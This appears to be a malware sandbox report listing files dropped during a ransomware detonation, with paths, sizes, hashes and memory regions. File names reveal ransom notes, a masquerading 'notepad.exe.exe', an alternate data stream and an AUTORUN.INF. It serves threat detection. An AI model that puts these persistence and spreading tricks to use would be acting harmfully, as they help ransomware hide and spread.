                                                                                                                                                                                                                                                            2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\tmp97F1.tmp
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            20KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            49693267e0adbcd119f9f5e02adf3a80

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            3ba3d7f89b8ad195ca82c92737e960e1f2b349df

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\tmp9806.tmp
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            116KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            f70aa3fa04f0536280f872ad17973c3d

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            50a7b889329a92de1b272d0ecf5fce87395d3123

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\zbhnd.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            50KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            91d63863db401703d42970d260353260

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            0c5dc4284e5077ddfd65b4861268eda4a37cf1a6

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            553943f89006916c42889ba90a9c06f32490a919f74391791e5e5de12faaa1c6

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            184a32038a55ef350b9a7978f6412be51eef53907808e668ccfe4a6b8c4f5b70de7ba32b45016b320ef53132c444f515e3a4e4adf07279bde8d9af728cac89e0

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\7D57AD13E21.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            15.9MB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            c11eb4322c8b68c8f22015d3cefc1158

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            3d32a430309f0e3188f2edee26c3fb1fc07765b3

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            5bdd9e8c80249bbd53b0efee37e519211b4f17a62c2bdc2ec9bb026a79423c6a

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            e35769a46be0bd019a4a39b3e7644993cf3046da8d0fb0725a913cb26a053e300e15af8f084c10772f9b1d01964dc3d578b4f5d94959f9beda6fd15a8b61bf3e

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Accessibility:bin
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            72KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            b35fdebe64dd5ef6b10ad75d9129e8bf

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            89c308079d916a41f156f5dc11a71c023c088663

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            b79565748d4e057ce732761bbeaa5578cb18f12c1890cdecd78a86e16fedd937

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            d4c415329526471bb7c7997261f715dab81bd1df315f7c04ae35b7c390c2f4c061fe4eb9d3bf6ae35ed8604cb645f8f0bffb73d2c45df9e1ed42ee81548612ca

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\qVeaxwHzL.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            507KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            ae8a8e9cad85c3216fdcd4d221b0112c

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            11045785f8a0b833ad16efcbe4008b476be02b65

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            f663110aed2d5fdecf27fba39beabc90e72397d4fd661f381d1767aac3cf4438

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            dce6b46b70a2f752308f389a5bbd2eef3f38c98d0c1b799a69d7a46b81f027d2e2d4d6ea80f0c1ab4d95fc396d5bd67488427633934229b354616a09bea40cf8

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\sJQnNRFDlzN.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            554KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            20cbd3338099924a4a04b764c435b810

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            0edcb1b88daa55c39b232bbcfa53379060787d43

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            34eea6efe1c6bf1b1d7d6c92c4c5897564975e63dda3454a68ac4e19f44b976a

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            3a2016028e37e5ced653149268f33b24666c23a6506ffd4d31868dc8c6bd0b6f19e035a88c013a89bbcfa358bf5bd00b4b9d38875ddafaf1078634f631a59597

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\xIdSokF.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            505KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            6e7464c9c833feff12027b0ca54f63e6

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            08104d98dcbd383830a1f8144687e7eceb4ab3ef

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            33ca31452fa88581eb327146aed3c6c18fff650c575b2e2d29024f3b04eb4a80

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            1cfdc36f9a774264a22fea1f36087856ded53836167dd26073bfbb7064155b0a1a5db02d050abd731164f08eacc9f71ca38033b752e22523a55df6dad553f1be

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.MSIL.Agent.gen-5bdf63530fc9ab47e57a92a17a627b93c668d313742b989819252ee5152a9061.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            14KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            cbc3e42ec0fb8371759201321aef033f

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            cea06a65c90df0cf32d0a65f6c7a28c9c4fbe802

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            5bdf63530fc9ab47e57a92a17a627b93c668d313742b989819252ee5152a9061

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            b0dd7c8e64c620ee6b4c644d1fc9971748dfd5ad00886ed2a00a3c522e52d16b7ba57c911cbe8c84749f36a66d6508cb33ac6feb1909fa3b27f04891094d6e88

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.MSIL.Blocker.gen-75f615f27b23cc56767ed8b3e684d69b27376165432116913f30cbc12c439fb2.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            2.7MB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            2c3192ab09b559948fac8108c85f0005

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            441b21fce961dd7436b6ac8aad64db509ad9de98

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            75f615f27b23cc56767ed8b3e684d69b27376165432116913f30cbc12c439fb2

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            ba2c15445784c4af06acc6c412ecce6db042097637c069ed2fd9ce71613ee484f9d9239ceba9e27a1984f31068bb5a24ec83c4a7fc10c34203a3c5570d89d472

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.MSIL.Blocker.gen-7e9ab70cccff28f533cdefc0608d02de489bf9c1493c931499b5b01e257585bb.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            550KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            abd3f041c033a13bf73bbeeb440bdd68

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            345fcff6c463bf8da181b2716cbda54e80eb61b3

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            7e9ab70cccff28f533cdefc0608d02de489bf9c1493c931499b5b01e257585bb

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            dbbca67f9462fa8d6df5104a7a6ca2fb5b5fe058d3cbcf375366b398b5911535708b58c3af4174ab7021dc9233819693f406e7008ddb64fc7208b69a48237bde

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.MSIL.Blocker.gen-a7cfc747d2b20fbbd20f8121c26b46041101e14b0c912afa3e220239f146685e.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            1.4MB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            681d80447e6e3b3a1d9d84b6c1a291ad

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            764bab5b618288a932efffc5d477c3d4fa750655

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            a7cfc747d2b20fbbd20f8121c26b46041101e14b0c912afa3e220239f146685e

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            2d9deb6efd8e1c1db98a5ad445122c67a048538c6577337d1a6884feaf583c50fd9779d57e2c0ac048b4ef2833b076d36546861e2d0638aeec162d1bc38bc805

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.MSIL.Encoder.gen-412fbcec0b5aa0fd7d09b18ef80d6bbda8026908c99f9f0c58351c52b5ee6ae6.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            21KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            0985330f6b83cc185bf97204f464ce47

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            ad8c3ce6d21560e6d71c348574106ed402462adb

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            412fbcec0b5aa0fd7d09b18ef80d6bbda8026908c99f9f0c58351c52b5ee6ae6

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            2592a3ca20ee30252a286264b023b2c3ccc7fd38639a92002e0212553175864eafcd417a85d3a34bb9f6bd2834e9362041f2e60bdc2fd62eb726f400005653a0

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Blocker.pef-f63819c6d8237b4bdebed3897b3a3f5a2f7bbc9ad1a7b44fa0668a3359f31a99.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            50KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            32d6f0462e4f2813dcafdf9f9a91fb59

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            715bd788246969aeef449045e059685b69900f37

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            f63819c6d8237b4bdebed3897b3a3f5a2f7bbc9ad1a7b44fa0668a3359f31a99

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            53f8898db81af859ef98aaf8dbd18e25358a2c0d6058e0a485c984a9e75e605f2d36ae9410222d2776794549c2735f12a42967eca30d277f15643bf718854b11

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Crypmod.gen-50234101339d8a152f9c0c111c6e5fac70826d53cd1480d224a422b7182ec0f0.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            1.1MB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            3915a833e05d40e77300c50a734fd83c

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            5d9992204ab4d01d8eb05c86aa06b2b89aafcda7

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            50234101339d8a152f9c0c111c6e5fac70826d53cd1480d224a422b7182ec0f0

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            cd29238759138b4f60337b7e19e847f9cb3a5ac56d1b8f488762580458a9fe3e21c39ac892b72671747bc3505d7204efc83ee9f681335e5aa0120d502b6d928f

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Crypmod.gen-8b6f0bbead4faeb094314e83e1f1b05d8c81b2102ccea0defdbd5df0f035a47f.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            1.1MB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            3b610a73ab835cb987809c02f596d552

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            065de5eab29adec08eff5f82b37c63ed278a372e

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            8b6f0bbead4faeb094314e83e1f1b05d8c81b2102ccea0defdbd5df0f035a47f

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            690376d0de794b225a8d79e67bfbd764b0c64373f6baa690d77968d59082d70a4783ae57dd63459c2a94670a3b7aca702cebb7101e78ff1998b081de05bb9d1d

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-9c5113ae60fa19421e1d90ba13cc5a0ae4b675ae3ba5a2e4de8aae2ece779543.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            1.8MB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            1607aac4926fa30ab59f402ac93aeb8a

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            92df10ebc10cabba8e43334a1492c60923e74de9

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            9c5113ae60fa19421e1d90ba13cc5a0ae4b675ae3ba5a2e4de8aae2ece779543

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            9a449d577a4036b19d79c445faa2214e88f532b67563c377b10646324d0ab6ce8608a915a48355987f8777d4df3497125faa4ff474da5f23b28b01594cc89a83

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-be172fac0466cdc031266dc30e9495a0e71449e8b03f88f9fb4a7a231946796c.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            1.8MB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            7fad5e87f11f8172732c856d878f453e

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            235c324ba705a16682949eca797865808d0ee839

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            be172fac0466cdc031266dc30e9495a0e71449e8b03f88f9fb4a7a231946796c

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            76b05ee1953bd606060b5e06b6b1a269e1243b1ad5850b87afc662a33f7adb81380bd3c9599d44b5020b7e95313062613ac6f699b7d4d82b7f604309b4c1a2b0

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Cryptoff.vho-dc9742ddc4a89ef7e38a1a60cafceaffd6cd7d2cd59b5bac941fc81010696b6e.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            130KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            27679f5dfe4c5091d943462ff257225a

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            b5f89d0582c84c81fc374f2236f0979a4ba27176

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            dc9742ddc4a89ef7e38a1a60cafceaffd6cd7d2cd59b5bac941fc81010696b6e

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            e120c486478b1c2dbdd81f3784b0bfadfd11bf0424ac18b8e11b60aef542469b61b01530022b06036ae96ca4716cec948a3e2ea03194200d0d365faf2b0b54fa

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.GandCrypt.pef-474e0e53445801dfb4ddf354df0306f161e2f28ce0615dd16097170c7f52f5ad.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            244KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            395c33d6862e672ba964b28239f7211e

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            fcb5c0c7bff8c87682bd9d9d1780f08ef7552041

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            474e0e53445801dfb4ddf354df0306f161e2f28ce0615dd16097170c7f52f5ad

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            a2d7411f3bda70013f830bc8ea075fd1fa2e8f3f9d5ff9a2c9933aecd5b702ea7b457a259da284154cef75d5794ae3307f98dcbdb999d9f8502c0290ca41c459

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Gen.gen-32a6cef319ce45e3a319a97a5d99b5719a55eef87e0be98367a23d2080b14b95.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            199KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            edeac800c2ae1d21c7441f61e4b2b36e

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            5d1d3321749e64988264f3f4021fba531252cdf5

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            32a6cef319ce45e3a319a97a5d99b5719a55eef87e0be98367a23d2080b14b95

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            49f35f5fdd73ae07e87a416c8a09624970bd9b7e0ee202779f0dd29a45bcad2eea99cf64e9af1da51a0ac673066f63632ab7d0bfab09d4ad3837e7ed545fef5e

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Generic-6f9bed90c1d6df1c7b259f832130b5fef5e0d0c9dc6c2564dad53dc0ca30bb0e.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            68KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            49d8bd6dcaa501ca742bd686c161e5e0

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            9acdd840615e4f4cd37f50e66b7bb7bb222d4fca

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            6f9bed90c1d6df1c7b259f832130b5fef5e0d0c9dc6c2564dad53dc0ca30bb0e

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            26d480f4480c99093859d3bb697dacc69c7165fc75603c717db6c1d0959463d7d9a33a32d3e1ec5360b0d031db4b77734f0ebcbf2bafb46b7390e1967d8a7b12

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00481\_READ_ME.txt
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            622B

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            684549300c14dbb9757a053ebbbdf090

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            bd88a9f0e4d6a62ee79b31479fd8e8fb395a0b7e

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            a7a544c0b632b2b4acfaf84ec105f5d1bc77e40072cba549e5934ff17706db60

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            b3b98d2e699e96454889373909caf07207acb6e1a4ef48df011a9082c9dc8acd923f7dd36615ba376dbf67e35b941c944207aa0540652e16389c9c27f3af4f0d

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Recovery.bmp
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            1.7MB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            3db55d2535166791a49a7b0f35e67f76

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            bd93858e0245f0ae75dfec316e19cb2d79b09493

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            211b6df3952855e8cef2b330810b517ac675dfd37b3422df96bfa4ca75079e85

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            61fca359e3390969a56634e05466c9b1b96f45c7a45f6af58271f3a5969c7c91587b934918ea46511c7c0c30ee386c2e80a2edc21c8b63d16338e649f863c213

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Recovery.bmp
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            1.8MB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            07c0a5a7b7b150199f30eb3d4bf31ec7

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            38f912b7bdf218c899964f81bff384b0644cfaaa

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            7515eb5d28d8a411c3c4c386412620c8afb7abf2c805282c2bea44dec4752d99

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            cd3fbc4b04025157f800ec6853d42ceb620a1af0c6441be03e7d9cbdd7d6161b18af79d7bf30c7becbf00b27fb728e57fba014766f0249557519587c093a84ed

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\notepad.exe.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            10.5MB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            333ed59e526efd80b2701f3ff1cfd8a7

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            8abbf5ee9ec9823ae093cd303874c2522df9d433

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            cb7723667f487b767417f206b86d5ed7a7932034c976498f7f83309d93f53a90

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            c96f8dc9780eb81c3186f0ba8cf9211eb220f75f528a1a9cce3c1b4b3d9df27383027c8a787068dcd0f7ea727807109abc06a333d526bda23379481962ae12b9

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Windows\System32\Holocryptic\Crossbarre.exe
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            10.4MB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            577d8516f9381083e2e46221a23156aa

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            bc9ca92bceed06241bd02e0c1812d80bc85c90d9

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            1c7f021f3d58a1041cedfaca4543e8da97f2d2b345de52c070da808b5d774539

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            5b7038e43c74ce4513e54cd016bf3b44a05ad4e77bf5150e7687e7663069498554f8449ea3f90ec25372ca613a70f06e99674c58209eb13f8cb8921882580f5a

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\Windows\win.ini
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            5KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            01089b42e74ea658e40dc899809914b2

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            2eacc62044611652bb4280825e9caff0585430a2

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            c942e1e21206b7006b031ddce8b8b90aed9397537e9d072cccd39d6bee741041

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            15b43e7b1dca13b9a12949b74000ef1131201226afbcc6aca35e11cedd034a0833b0d078b9b2f814a3b7c26dee8b4c5e02e2b2793e437840f6eb6517fe306da0

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\WzEgyMggM.README.txt
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            699b52e82b3923be98c6f72b35751668

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            08102669b3e46c370211823bba55ae532a2e2475

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            b5c83add62e62c89d84aad234804bb615bed6b7371574bcda0def1b9c7774afa

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            06c3277879016c8c120f63af5ed166c854e77e8b2d45d20cc07343ed25d6559c9f1487d9c1650903c61bf18fde807290096b864643187b26eec7c05b82acb1a5

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • C:\info.hta
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            5KB

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            2606d4c6ce216d24adc060c33f589007

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            acecafd852caef3709f941444720e611f499e0c4

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            83cf2d4fa2daf97b3d9a65e61a7c613bc84e3bc12f8863251ce5dd090a86ea92

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            01b40fdd0bf8014ee5726ae670d3d91e26fccdf98225ccfe451b39c1c69dfa5c4e7221e5ef7241c607b8bb8832aaf8c3d7892e91e66990788bcb52b919ce4b9e

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • F:\AUTORUN.INF
                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            145B

                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                            ca13857b2fd3895a39f09d9dde3cca97

                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                            8b78c5b2ec97c372ebdcef92d14b0998f8dd6dd0

                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                            cfe448b4506a95b33b529efa88f1ac704d8bdf98a941c065650ead27609318ae

                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                            55e5b5325968d1e5314527fb2d26012f5aae4a1c38e305417be273400cb1c6d0c22b85bddb501d7a5720a3f53bb5caf6ada8a7894232344c4f6c6ef85d226b47

                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                          • memory/452-1182-0x0000000007320000-0x00000000074E2000-memory.dmp

                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            1.8MB

                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                          • memory/452-1063-0x0000000000420000-0x000000000045C000-memory.dmp

                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            240KB

                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                          • memory/452-1958-0x0000000004D40000-0x0000000004DA6000-memory.dmp

                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            408KB

                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                          • memory/452-1255-0x0000000007A20000-0x0000000007F4C000-memory.dmp

                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            5.2MB

                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                          • memory/452-1169-0x00000000024A0000-0x00000000024A6000-memory.dmp

                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            24KB

                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                          • memory/452-1139-0x0000000002450000-0x0000000002494000-memory.dmp

                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                            272KB

